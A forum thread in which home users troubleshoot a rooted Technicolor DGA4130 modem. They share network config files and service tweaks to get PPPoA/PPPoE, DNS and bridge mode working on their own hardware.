It's defently usefull and stable in bridge mode as it has a very good (VDSL) chipset. Should be also good @ADSL (@Annex A)...
Can't tell you anything about pppoa and DNS errors as im not using this device in router mode but i think it shouldn't be much of a problem.

I would try GUI 4.6 and if it still fails do a factory reset (downgrade to 1.0.3 if your allready higher!!) and unlock it again (start from scratch).
If it's still not working i would report it on the italian forum and Ansuel will probably fix it... ;)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: kitzuser87430 on December 15, 2017, 02:26:54 PM
Quote
(start from scratch)

Just done that and no luck;

Quote
report it on the italian forum

Done that on the bug trace thread
https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77878.msg225840.html#msg225840 (https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77878.msg225840.html#msg225840) Thanks @shdf

and https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77878.msg226376.html#msg226376 (https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77878.msg226376.html#msg226376)

As this device is powerful, I was hoping not to run in bridge mode, but use as a router to replace my Xyzel modem and RT66u and even run other add-ons (adblocker etc) ...I was hoping the QOS is good on this router as well.

Ian
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on December 15, 2017, 02:40:40 PM
@kitzuser, Sorry to hear that...
It's defently usefull and stable in bridge mode as it has a very good (VDSL) chipset. Should be also good @ADSL (@Annex A)...
Can't tell you anything about pppoa and DNS errors as im not using this device in router mode but i think it shouldn't be much of a problem.

I would try GUI 4.6 and if it still fails do a factory reset (downgrade to 1.0.3 if your allready higher!!) and unlock it again (start from scratch).
If it's still not working i would report it on the italian forum and Ansuel will probably fix it... ;)
Would you mind posting your /etc/config/network

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: kitzuser87430 on December 15, 2017, 05:40:27 PM
Quote
Would you mind posting your /etc/config/network

SURE:
Code: [Select]
config interface 'loopback'
option ipaddr '127.0.0.1'
option proto 'static'
option netmask '255.0.0.0'
option ifname 'lo'

config globals 'globals'
option ula_prefix 'none'
option default_ps '0'

config device 'waneth4'
option name 'waneth4'
option ipv6 '0'
option macaddr '10::AA:AA:AA:AA:C4'
option ifname 'eth4'
option type '8021q'

config device 'wanptm0'
option name 'wanptm0'
option ipv6 '0'
option macaddr '10::AA:AA:AA:AA:C4'
option ifname 'ptm0'
option type '8021q'

config interface 'wan'
option auto '1'
option enabled '1'
option password 'MYPASS'
option keepalive_adaptive '0'
option dns_metric '0'
option username 'MYUSER'
option ifname 'atmwan'
option ipv6 '0'
option metric '10'
option macaddr '10::AA:AA:AA:AA:C4'
option demand '0'
option proto 'pppoa'#####change this back to pppoe to enable "internet access" card###
option vci '38'
option vpi '0'

config config 'config'
option wan_mode 'pppoa'

config interface 'wwan'
option auto '1'
option session_id '0'
option profile '1'
option enabled '1'
option proto 'mobiled'

config interface 'wan6'
option proto 'dhcpv6'
option auto '0'
option reqopts '12 21 22 23 24 25 31 56 64 67 82 83'
option dns_metric '20'
option enabled '1'
option iface_464xlat '0'
option ifname '@wan_ipv6'
option noslaaconly '1'

config interface 'lan'
option ipaddr '10.10.10.101'
option netmask '255.255.255.0'
list ifname 'eth0'
list ifname 'eth1'
list ifname 'eth2'
list ifname 'eth3'
list ifname 'eth5'
option pppoerelay '<set by script>'
option ipv6 '0'
option proto 'static'
option ip6assign '64'
option force_link '0'
option type 'bridge'

config switch 'bcmsw'
option jumbo '0'
option qosimppauseenable '0'
option enable_vlan '0'
option reset '1'

config interface 'wlnet_b_24'
option ipaddr '192.168.168.1'
option ip6hint '1'
option ifname 'wl0_1'
option ipv6 '0'
option name 'Ospiti-TIM-24189637'
option netmask '255.255.255.128'
option ip6assign '64'
option force_link '0'
option proto 'static'

config interface 'wlnet_b_5'
option ipaddr '192.168.168.129'
option ip6hint '2'
option ifname 'wl1_1'
option ipv6 '0'
option name 'Ospiti-TIM-24189637'
option netmask '255.255.255.128'
option ip6assign '64'
option force_link '0'
option proto 'static'

config device 'wlnet_b_5eth5'
option enabled '1'
option vid '3'
option name 'wl1_1'
option ipv6 '0'
option ifname 'eth5'
option type '8021q'

config interface 'ipoe'
option auto '0'
option reqopts '1 3 6 43 51 58 59'
option neighreachabletime '1200000'
option ipv6 '1'
option neighgcstaletime '2400'
option metric '1'
option release '1'
option proto 'dhcp'


Both confirmed as bugs (#21 and 29) https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77878.0.html (https://www.ilpuntotecnicoeadsl.com/forum/index.php/topic,77878.0.html)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 15, 2017, 09:03:27 PM
This device is useless to me, it may be great if your on VDSL (PPPoE) but as I am on ADSL (PPPoA) it will not "pass" DNS queries, OK for laptops and desktops, where I can set custom DNS entries,  not phones and tablets.

I also tried on ethernet WAN (PPPoE to my modem) that also gave DNS problems.

May have to wait for my fibre CAB.......maybe next year!!

Ian
you have something misconfigured, probably by a buggy GUI...
This device should work in VDSL and ADSL.

can you post here your /etc/config/network

Edit:
oups i didn't see your last post...let me check...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 15, 2017, 09:13:42 PM
@kitzuser87430
option peerdns '1' is missing, this is why you don't get the dns from your ISP.
add it below option proto 'pppoa' in your wan interface. Do a /etc/init.d/network restart and disconnect/reconnect your PC, phones, etc... now you should have your ISP dns.

All available options for PPPOA are listed here : https://wiki.openwrt.org/doc/uci/network

(https://i.imgur.com/rSfvDw8.png)

If option peerdns '1' doesn't work then try adding list dns '<dns_ip>', 1 line per dns. Example :
   list dns '8.8.8.8'
   list dns '8.8.4.4'


You can also hardcode your DNS in your config interface 'lan' by adding the list dns lines, as above.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 16, 2017, 02:57:35 AM
I've finally fixed the log entry "[mobiled] (WaitingForDevice) runs WaitingForDevice-Main.check" with
Code: [Select]
/etc/init.d/mobiled stop
/etc/init.d/mobiled disable

I've also chnaged the config@ /etc/config/mobiled to
Code: [Select]
config device_defaults 'device_defaults'
option radio_pref 'lte'
option enabled '0'

config platform 'platform'
option power_on '0'

Can someone please tell me where the technician folder is located normaly ?
@/home/ or in root ? I think i accidentally moved the folder and now i'm scared of a reboot...  :-[
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 16, 2017, 09:31:29 AM
it is in /home  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on December 16, 2017, 11:18:18 AM
@kitzuser, Sorry to hear that...
It's defently usefull and stable in bridge mode as it has a very good (VDSL) chipset. Should be also good @ADSL (@Annex A)...
Can't tell you anything about pppoa and DNS errors as im not using this device in router mode but i think it shouldn't be much of a problem.

I would try GUI 4.6 and if it still fails do a factory reset (downgrade to 1.0.3 if your allready higher!!) and unlock it again (start from scratch).
If it's still not working i would report it on the italian forum and Ansuel will probably fix it... ;)

Can you please post your working bridge config? I am still struggling with to get mine to work properly.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 16, 2017, 01:21:12 PM
@shdf, thanks... i've accidentally moved /etc to /home but that was easy to see.
I'm wondering if there is no file/folder move history feature in WinSCP ? Maybe im just blind...

@bilbokitz, Sure no problem, but keep in mind that my ISP requires vlan tag 835 (for pppoe) and my modem IP is: 192.168.254.254

Let's first start in normal router mode and without any config part...
First of all I've disabled everything that I do not need or use (Wifi, Mobile aso.) and then changed the default ip and did a Reboot, just in case.
After the restart I've activated bridge mode (modem will reboot) and set my VLAN tag under Broadband >> Internet Channel.
Don't forget that the LAN cable goes from any yellow ethernet port (not the red one!) into the WAN port of your main Router...

I think that you will probably don't need it but here is the important part of my /etc/config/network (the rest should be default):
Code: [Select]
config device 'wanptm0'
option type '8021q'
option name 'wanptm0'
option macaddr '10:13:31:xx:xx:xx'
option ifname 'ptm0'
option ipv6 '0'
option vid '835'

config config 'config'
option wan_mode 'bridge'

config interface 'lan'
option type 'bridge'
option proto 'static'
option netmask '255.255.255.0'
option ip6assign '64'
option force_link '0'
option ipv6 '0'
option pppoerelay '<set by script>'
option ipaddr '192.168.254.254'
list ifname 'eth0'
list ifname 'eth1'
list ifname 'eth2'
list ifname 'eth3'
list ifname 'eth5'
list ifname 'wanptm0'

It should work, if not go reset the DGA and do a clean reconfigure.
I started with fw 1.0.2 and GUI 3.25 and didn't had any problems to set up bridge mode.
Now i'm on fw 1.0.3 and GUI 4.6, but i would try fw 1.0.3 + gui 3.25 first and if its working you can always upgrade the GUI later on.

Let me know how it went and if you have any questions just ask...  ;)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on December 16, 2017, 05:28:50 PM
Thanks. The config for non vlan bridgemode is broken basically and i dont think Ansuel has been able to see why. With his help i have got it partly working by editing the config file manually.

There are still issues with pppoe discovery however.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 16, 2017, 05:38:40 PM
just one question, why using this modem in bridge mode ?
if you really want to keep using your second router for its more efficient wifi or what ever, then just connect it in one of the DGA4130 LAN port...and disable the wifi in the DGA...
I think this approach will make your life more easier  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on December 16, 2017, 05:41:26 PM
I want my router to get the proper wan ip. But yes that is a possibility thanks.

Is there an original tecnicolor gui plus fw available?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 16, 2017, 05:48:17 PM
you can use the official TIM GUI, and with the modem rooted just change the username/password in /etc/config/network
This will make the modem working with your ISP, with a GUI without bugs  ;D

Just read my post at the begining of this topic : http://forum.kitz.co.uk/index.php/topic,20343.msg355530.html#msg355530

1) do a factory reset
2) unlock the modem if it disabled the root access
3) edit /etc/config/network with your username/password vlan etc...

that's all you have to do, now you can use the TIM/technicolor GUI (without bugs) and connect your 2nd router to it.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 17, 2017, 04:44:42 PM
@bilbokitz
You could also try a complete factory reset (with Remove Root) and than setup bridge mode with official Tim GUI(after unlocking it again).
Maybe that will make a difference for you but i'm not sure if you can setup Bridge mode with the official Tim GUI...

Btw, what do you exactly mean with pppoe/a discovery ?
Does it completely fail and you can't even establish a pppoa connection with your main router ?

Did you tried my config ?

/ect/config/network:
Code: [Select]
config device 'wanptm0'
option name 'wanptm0'
option macaddr '*insert your own your mac adress here*'
option ifname 'ptm0'
option ipv6 '0'

config config 'config'
option wan_mode 'bridge'

config interface 'lan'
option type 'bridge'
option proto 'static'
option netmask '255.255.255.0'
option ip6assign '64'
option force_link '0'
option ipv6 '0'
option pppoerelay '<set by script>'
option ipaddr '192.168.254.254'
list ifname 'eth0'
list ifname 'eth1'
list ifname 'eth2'
list ifname 'eth3'
list ifname 'eth5'
list ifname 'wanptm0'

/ect/config/pppoerelayd:
Code: [Select]
config pppoerelayd 'config'
        option enable '0'
        option server_intf 'wan'
        option client_intf 'lan'
        option timeout '0'
        option nsessions '32'
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on December 18, 2017, 02:02:02 PM
Thanks for the suggestions, no config seems to work 100% when vlan is disabled under dsl, another device needs to establish the connection 1st. I'll wait for another gui update and try again.

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 18, 2017, 05:08:25 PM
That is pretty weird... Is the other device the original provider modem ?
Maybe it's a Mac address related problem, i heard with some ISP's you need to match the Mac address of the original provider hardware to establish a connection in the first place. If that's the case with your provider you could try to spoof the modem mac address of your original ISP device...

Otherwise i'm out of ideas, to be honest i find it kinda odd that your provider does not use a vlan tag for pppoa/pppoe connection @VDSL.
Afaik most provider require a specific vlan tag for VDSL...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on December 18, 2017, 06:45:17 PM
NO mac address related, and yes it is an oddity to have no isp vlan  so it would seem.

Mmmm I wonder if it is possible to spoof a vlan somehow
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 18, 2017, 07:07:43 PM
Well did you already try to establish a connection with a vlan tag ?
Normally it shouldn't work (ppp timeout) and I think it doesn't make sense to set/spoof a vlan if your ISP does not require it...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on December 18, 2017, 07:15:58 PM
When the device is in normal router mode and rhe vlan optionbis set to 'off' all is wonderful. When vlan is set to on no connection is possible.

In bridge mode neither on or off will work properly. This is whatbis broken.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 18, 2017, 07:32:44 PM
Very strange, the only thing left would be a problem/incompatibility between the DGA and the ppp daemon of your main router.
Do you have a spare Router to test ? Btw, what model is the main router ?

edit: nvm, I have just realised that you are on ADSL and i have never seen any ADSL pppoe/a connection which requires a vlan tag !
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 19, 2017, 07:17:45 AM
@bilbokitz
could you post your /etc/config/network in routed mode, your working version. And also the Bridge version which is not working ?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on December 19, 2017, 12:44:13 PM
Normal router mode works

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config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'

config globals 'globals'
option ula_prefix 'none'
option default_ps '0'

config device 'waneth4'
option type '8021q'
option name 'waneth4'
option macaddr '10:13:31:6F:xx:xx:xx'
option ifname 'eth4'
option vid '835'
option ipv6 '0'

config device 'wanptm0'
option type '8021q'
option name 'wanptm0'
option macaddr '10:13:31:6F:xx:xx:xx'
option vid '835'
option ipv6 '0'

config interface 'wan'
option proto 'pppoe'
option demand '0'
option macaddr '10:13:31:6F:xx:xx:xx'
option ipv6 '0'
option peerdns '1'
option reqopts '1 3 6 15 33 42 51 121 249'
option keepalive_adaptive '0'
option dns_metric '0'
option username 'my UNIQUE username'
option password 'My UNIQUE Password'
option ifname 'ptm0'   <==== something to do with this
option enabled '1'
option auto '1'

config config 'config'
option wan_mode 'pppoe'

config interface 'wwan'
option proto 'mobiled'
option session_id '0'
option profile '1'
option enabled '1'
option auto '1'

config interface 'wan6'
option proto 'dhcpv6'
option reqopts '12 21 22 23 24 25 31 56 64 67 82 83'
option noslaaconly '1'
option iface_464xlat '0'
option auto '0'
option dns_metric '20'
option ifname '@wan_ipv6'
option enabled '1'

config interface 'lan'
option type 'bridge'
option proto 'static'
option ipaddr '192.168.1.1'
option netmask '255.255.255.0'
option ip6assign '64'
option force_link '0'
option ipv6 '0'
list pppoerelay 'wanptm0'
list ifname 'eth0'
list ifname 'eth1'
list ifname 'eth2'
list ifname 'eth3'
list ifname 'eth5'

config switch 'bcmsw'
option reset '1'
option enable_vlan '0'
option qosimppauseenable '0'
option jumbo '0'

config interface 'wlnet_b_24'
option proto 'static'
option ip6assign '64'
option ipv6 '0'
option ip6hint '1'
option netmask '255.255.255.128'
option ipaddr '192.168.168.1'
option ifname 'wl0_1'
option force_link '0'
option name 'Ospiti-TIM-24068835'

config interface 'wlnet_b_5'
option proto 'static'
option ip6assign '64'
option ipv6 '0'
option ip6hint '2'
option netmask '255.255.255.128'
option ipaddr '192.168.168.129'
option ifname 'wl1_1'
option force_link '0'
option name 'Ospiti-TIM-24068835'

config device 'wlnet_b_5eth5'
option type '8021q'
option name 'wl1_1'
option enabled '1'
option ifname 'eth5'
option vid '3'
option ipv6 '0'

config interface 'ipoe'
option proto 'dhcp'
option metric '1'
option reqopts '1 3 6 43 51 58 59'
option release '1'
option neighreachabletime '1200000'
option neighgcstaletime '2400'
option ipv6 '1'

Bridged
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Bridged - vlan set to off in gui

config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'

config globals 'globals'
option ula_prefix 'none'
option default_ps '0'

config device 'waneth4'
option type '8021q'
option name 'waneth4'
option macaddr '10:13:31:6F:xx:xx'
option ifname 'eth4'
option vid '835'
option ipv6 '0'

config device 'wanptm0'
option type '8021q'
option name 'wanptm0'
option macaddr '10:13:31:6F:xx:xx'
option vid '835'
option ipv6 '0'

config interface 'wan'
option proto 'pppoe'
option demand '0'
option macaddr '10:13:31:6F:xx:xx'
option ipv6 '0'
option keepalive_adaptive '0'
option dns_metric '0'
option password 'ciao'
option ifname 'ptm0'
option username 'ciao'
option metric '10'
option enabled '0'
option auto '0'

config config 'config'
option wan_mode 'bridge'

config interface 'wwan'
option proto 'mobiled'
option session_id '0'
option profile '1'
option auto '0'
option enabled '0'

config interface 'wan6'
option proto 'dhcpv6'
option reqopts '12 21 22 23 24 25 31 56 64 67 82 83'
option noslaaconly '1'
option iface_464xlat '0'
option auto '0'
option dns_metric '20'
option ifname '@wan_ipv6'
option enabled '0'

config interface 'lan'
option type 'bridge'
option proto 'static'
option ipaddr '192.168.1.1'
option netmask '255.255.255.0'
option ip6assign '64'
option force_link '0'
option ipv6 '0'
list pppoerelay 'wanptm0'
list ifname 'eth0'
list ifname 'eth1'
list ifname 'eth2'
list ifname 'eth3'
list ifname 'eth5'
list ifname 'wanptm0'    <==== something to do with this

config switch 'bcmsw'
option reset '1'
option enable_vlan '0'
option qosimppauseenable '0'
option jumbo '0'

config interface 'wlnet_b_24'
option proto 'static'
option ip6assign '64'
option ipv6 '0'
option ip6hint '1'
option netmask '255.255.255.128'
option ipaddr '192.168.168.1'
option ifname 'wl0_1'
option force_link '0'
option name 'Ospiti-TIM-24068835'

config interface 'wlnet_b_5'
option proto 'static'
option ip6assign '64'
option ipv6 '0'
option ip6hint '2'
option netmask '255.255.255.128'
option ipaddr '192.168.168.129'
option ifname 'wl1_1'
option force_link '0'
option name 'Ospiti-TIM-24068835'

config device 'wlnet_b_5eth5'
option type '8021q'
option name 'wl1_1'
option enabled '1'
option ifname 'eth5'
option vid '3'
option ipv6 '0'

config interface 'ipoe'
option proto 'dhcp'
option metric '1'
option reqopts '1 3 6 43 51 58 59'
option release '1'
option neighreachabletime '1200000'
option neighgcstaletime '2400'
option ipv6 '1'

Manually modified config will work only IF my other modem has initiated a ppp session within the last half an hour and I then swap the modems which does not make any sense to me. If I turn it all off for more than half an hour with the below config I can't establish a session again.

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config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'

config globals 'globals'
option ula_prefix 'none'
option default_ps '0'

config device 'wanptm0'
option macaddr '10:13:31:6F:xx:xx'
option ifname 'ptm0'    <=== this

config interface 'lan'
option type 'bridge'
option proto 'static'
option ipaddr '192.168.1.1'
option netmask '255.255.255.0'
option ip6assign '64'
option force_link '0'
option ipv6 '0'
#list pppoerelay 'wanptm0'
list ifname 'eth0'
list ifname 'eth1'
#list ifname 'eth2'
#list ifname 'eth3'
#list ifname 'eth5'
#list ifname 'wanptm0'   <== I can get it to work by putting ptm0 here

config interface 'modem'
option type 'bridge'
option ifname 'eth3 eth4 eth5 ptm0'

config switch 'bcmsw'
option reset '1'
option enable_vlan '0'
option qosimppauseenable '0'
option jumbo '0'

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 19, 2017, 05:35:25 PM
According to https://wiki.openwrt.org/doc/uci/network , try to add these 2 lines in bold :

config interface 'wan'  <-- do not call it modem
   option type 'bridge'
   option proto 'none'
   option auto '1'

   option ifname 'eth3 eth4 eth5 ptm0'


Option auto mean "start this interface on boot", and proto should be set to none, i don't know what protocol is used if it is not set, so better write it.
Anyway i think you removed a lot of things in the config file...
why did you remove eth0 eth1 eth2 from the option ifname ?

2nd thing, in bridge mode you don't need the modem firewall, so :
/etc/init.d/firewall disable
/etc/init.d/firewall stop


/etc/init.d/network restart to apply all the changes.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 19, 2017, 05:56:40 PM
@kitzuser87430
so did you try my suggestion here ? http://forum.kitz.co.uk/index.php/topic,20343.msg360766.html#msg360766
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on December 19, 2017, 07:18:29 PM
I'll try this later:

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config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'

config globals 'globals'
option ula_prefix 'none'
option default_ps '0'

config device 'wanptm0'
option macaddr '10:13:31:6F:xx:xx'
option ifname 'ptm0'

config interface 'lan'
option type 'bridge'
option proto 'static'
option ipaddr '192.168.1.1'
option netmask '255.255.255.0'
option ip6assign '64'
option force_link '0'
option ipv6 '0'
list ifname 'eth0 eth1'

config interface 'wan'
option type 'bridge'
option proto 'none'
option ifname 'eth0 eth1 eth3 eth5 ptm0'
        option auto '1'

config switch 'bcmsw'
option reset '1'
option enable_vlan '0'
option qosimppauseenable '0'
option jumbo '0'

leaving lan access to can ssh etc
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: kitzuser87430 on December 19, 2017, 08:27:02 PM
@kitzuser87430
so did you try my suggestion here ? http://forum.kitz.co.uk/index.php/topic,20343.msg360766.html#msg360766

Can't remember, I think I have given up, if a config file cannot be set by a GUI then, even thought I like firmware fiddling, I just cant be bothered, it "winds up" members of my family what with downtime etc.

I may try again in a few weeks, It takes a bit of fiddling with LAN cables and power to replace my upstairs modem and downstairs router with this single device.

I may just try re-upgrade to firmware 1.04 and try in bridge (ADSL) mode to see how the modem compares first....

Thanks for your assistance anyway.

I have edited/renamed a couple of things in \www\docroot\ to remove the annoying bouncing arrow and to re-order the "cards" to my preferred order.

Thanks again

Ian

Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 19, 2017, 08:55:43 PM
i think my solution should work 100%  :)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 21, 2017, 04:55:51 PM
@shdf
Just wanted to let you know that i've found the reason for the high LAN Ping (>1ms)... it seems to be related to the "CPU speed adjustment", Gateway >> ECO Settings.
If I set CPU Speed to 1 (highest clock) i do get stable pingtimes under <1ms... still a bit higher than with my other wired Network equipment but "stable" and below 1ms.
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root@LEDE:~# ping 192.168.254.254 -c5
PING 192.168.254.254 (192.168.254.254): 56 data bytes
64 bytes from 192.168.254.254: seq=0 ttl=64 time=0.790 ms
64 bytes from 192.168.254.254: seq=1 ttl=64 time=0.809 ms
64 bytes from 192.168.254.254: seq=2 ttl=64 time=0.746 ms
64 bytes from 192.168.254.254: seq=3 ttl=64 time=0.839 ms
64 bytes from 192.168.254.254: seq=4 ttl=64 time=0.792 ms

CPU Speed 1:
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root@VDSL_Bridge:~# cat /proc/cpuinfo
Processor       : ARMv7 Processor rev 1 (v7l)
processor       : 0
BogoMIPS        : 1990.65

processor       : 1
BogoMIPS        : 1990.65

Features        : swp half thumb fastmult edsp tls

CPU Speed auto:
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root@VDSL_Bridge:~# cat /proc/cpuinfo
Processor       : ARMv7 Processor rev 1 (v7l)
processor       : 0
BogoMIPS        : 398.13

processor       : 1
BogoMIPS        : 398.13

Features        : swp half thumb fastmult edsp tls

But to be honest it's just a visual thing... the internet ping times wont get better because of the lower LAN ping.
I think overall it will just produce more heat and the only noticeable ‎advantage in bridge mode is a snappier GUI.
But it might make a slight difference in router mode...

Didn't tested any other Eco settings, but I can remember that I had a problem where the DGA device or better said odhcpd manually added a local IP and the ping time to that IP was stable below 0.5ms. So a value below 0.8ms is also possible with automatic adjustment of the CPU speed.

I kinda wish a true (and stable) openwrt version with original Luci GUI would come out for the DGA4130... do you think it will ever come to this point ?
Man I would even donate for this ! :fingers: ;)
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on December 22, 2017, 07:45:26 AM
Hello !
nice find  :) so the cpu is somewhat underclocked then...My ISP box (Livebox 4) is also using a bcm63138, and the ping latency is always lower than 1ms...idle or not. the cpu speed is probably set to 1 then ?!
i think i'm going to set it to 1 in the DGA.

About a true Openwrt for the DGA, i don't know if it will happen as there are only 2 person working on it. The big problem is the bootloader checking for a signed firmware, if this can be bypassed (i don't know how) then this can be added in the Lede/openwrt project as other Lantiq based Modem/router (BT HomeHub 5.0 Type A). But we need more skilled people on this project...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 22, 2017, 12:58:01 PM
Maybe the cpu driver is just behaving different in the Livebox 4...
Normally auto adjustment should work fine and the cpu will clock to its full potential under load.

I would really like to help with openwrt but sadly i'm not skilled enough, hopefully someone will find a way to unlock or bypass the bootloader.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 31, 2017, 04:46:37 AM
@bilbokitz
Did you get rid of your bridge mode problem ?

I found out that you don't need to enable pure bridge mode to be able to establish the pppoe/pppoa connection with another router.
So let me know if you are still facing the problem, maybe it can be fixed with my new bridge config...
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: bilbokitz on December 31, 2017, 11:49:11 AM
@Lil-Koby

No I did not.

I do have the DGA4130 in bridgemode and it is working but I had to swap out my main router (new Asus ac86u) during the holidays and the ppp connection would not establish again so I had to plug my HG612 back in which connected fine.

I then turned off the HG612 and turned on the DGA4130 and all is okay again. Very strange. The connection is PPPoE.

What is your config? Half bridge or something?
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: Lil-Koby on December 31, 2017, 02:29:44 PM
Well I think it was some sort of half bridge...  :-\
I came up with this as i was trying to set up bridge mode with the original tim gui 1.0.3 (it worked btw).
But I couldn't get telnet to work so i updated to 3.36 and disabled the bridge mode and after a reboot I found out that my main router was still connection via pppoe.

Than i edited the network config and replaced some stuff with my old full bridge config but leaving wan_mode default:
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config config 'config'
option wan_mode 'pppoe'
Now the login screen will say it's in bridge mode... but Broadband will report a "green connected", just like in router mode.
Before i had the "grey bridge disabled bug" (with gui version 3.36+) every time, even if everything was fine and working.

So first of all i would do a full reset (with remove root), before doing so make sure your running fw 1.0.3, than use the unlock tool to gain ssh access (dont tick any options!) and than install gui 3.36 via ssh. Finally do a reboot and clear your browser cache.
After the reboot + clear browser cache setup everything via custom GUI.

1. Turn pppoe OFF
2. Under Broadband set Using VLAN to OFF
3. Disable/Turn OFF all the other stuff you dont need (Samba, DLNA, Mobile, DLNA telephony, CWMPD, aso.)
4. Reboot, and check if you Router is able to establish a pppoe connection

(if your router is able to establish a pppoe connection check if your problem with the timeout still exist)

I didn't make a config backup using the above described mode but here is the main part of my new network config:
(keep in mind that with this config the Login screen will report bridge mode and i'm using VLAN: ON, VID: 835)
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config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'

config globals 'globals'
option ula_prefix 'none'
option default_ps '0'

config device 'waneth4'
option type '8021q'
option name 'waneth4'
option macaddr '10:13:31:XX:XX:XX'
option ifname 'eth4'
option vid '835'
option ipv6 '0'

config device 'wanptm0'
option type '8021q'
option name 'wanptm0'
option macaddr '10:13:31:XX:XX:XX'
option ifname 'ptm0'
option vid '835'
option ipv6 '0'

config interface 'wan'
option proto 'pppoe'
option demand '0'
option username 'blub@blub'
option password 'blub'
option macaddr '10:13:31:XX:XX:XX'
option ipv6 '0'
option peerdns '1'
option reqopts '1 3 6 15 33 42 51 121 249'
option keepalive_adaptive '0'
option dns_metric '0'
option enabled '0'
option ifname 'wanptm0'
option auto '0'

config config 'config'
option wan_mode 'pppoe'

config interface 'wwan'
option auto '1'
option proto 'mobiled'
option session_id '0'
option profile '1'
option enabled '0'

config interface 'wan6'
option proto 'dhcpv6'
option reqopts '12 21 22 23 24 25 31 56 64 67 82 83'
option noslaaconly '1'
option iface_464xlat '0'
option auto '0'
option dns_metric '20'
option ifname '@wan_ipv6'
option enabled '0'

config interface 'lan'
option type 'bridge'
option proto 'static'
option netmask '255.255.255.0'
option ip6assign '64'
option force_link '0'
option ipv6 '0'
option ipaddr '192.168.254.254'
option pppoerelay '<set by script>'
list ifname 'eth0'
list ifname 'eth1'
list ifname 'eth2'
list ifname 'eth3'
list ifname 'eth5'
list ifname 'wanptm0'

config switch 'bcmsw'
option reset '1'
option enable_vlan '0'
option qosimppauseenable '0'
option jumbo '0'

I've also disabled a lot of init.d stuff but im not sure if it will brake something in the long run.
But i would recommend to stop and disable Mobiled, wansensing, watchdog, igmpproxy and cwmpd.
I could also imagine that wansensing or watchdog is responsible for your timeout problem...
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/etc/init.d/igmpproxy stop
/etc/init.d/igmpproxy disable
/etc/init.d/mobiled stop
/etc/init.d/mobiled disable
/etc/init.d/wansensing stop     
/etc/init.d/wansensing disable
/etc/init.d/watchdog-tch stop
/etc/init.d/watchdog-tch disable
/etc/init.d/cwmpd stop
/etc/init.d/cwmpd disable
/etc/init.d/cwmpdboot disable

Hopefully it will fix your weird timeout problem... ;)

Btw, you run official firmware on your AC86U ?
I would highly recommend to use merlin's fw on this device: https://www.snbforums.com/threads/asuswrt-merlin-custom-firmware-for-asus-routers.7846/
You can also gain access your modem GUI (modem on a different subnet) when using pppoe with your Asus Router, if you didn't know that already.
Title: Re: Modem/Router VDSL2 Technicolor DGA4130 (BCM63138)
Post by: shdf on January 02, 2018, 12:06:35 PM
i can see on Ebay for a price that is reasonable, a brand new Technicolor TG800vac which is the same as the DGA4130, with a better wifi (Broadcom 4366 vs Quantenna) + CatIQ DECT support + NFC chip.
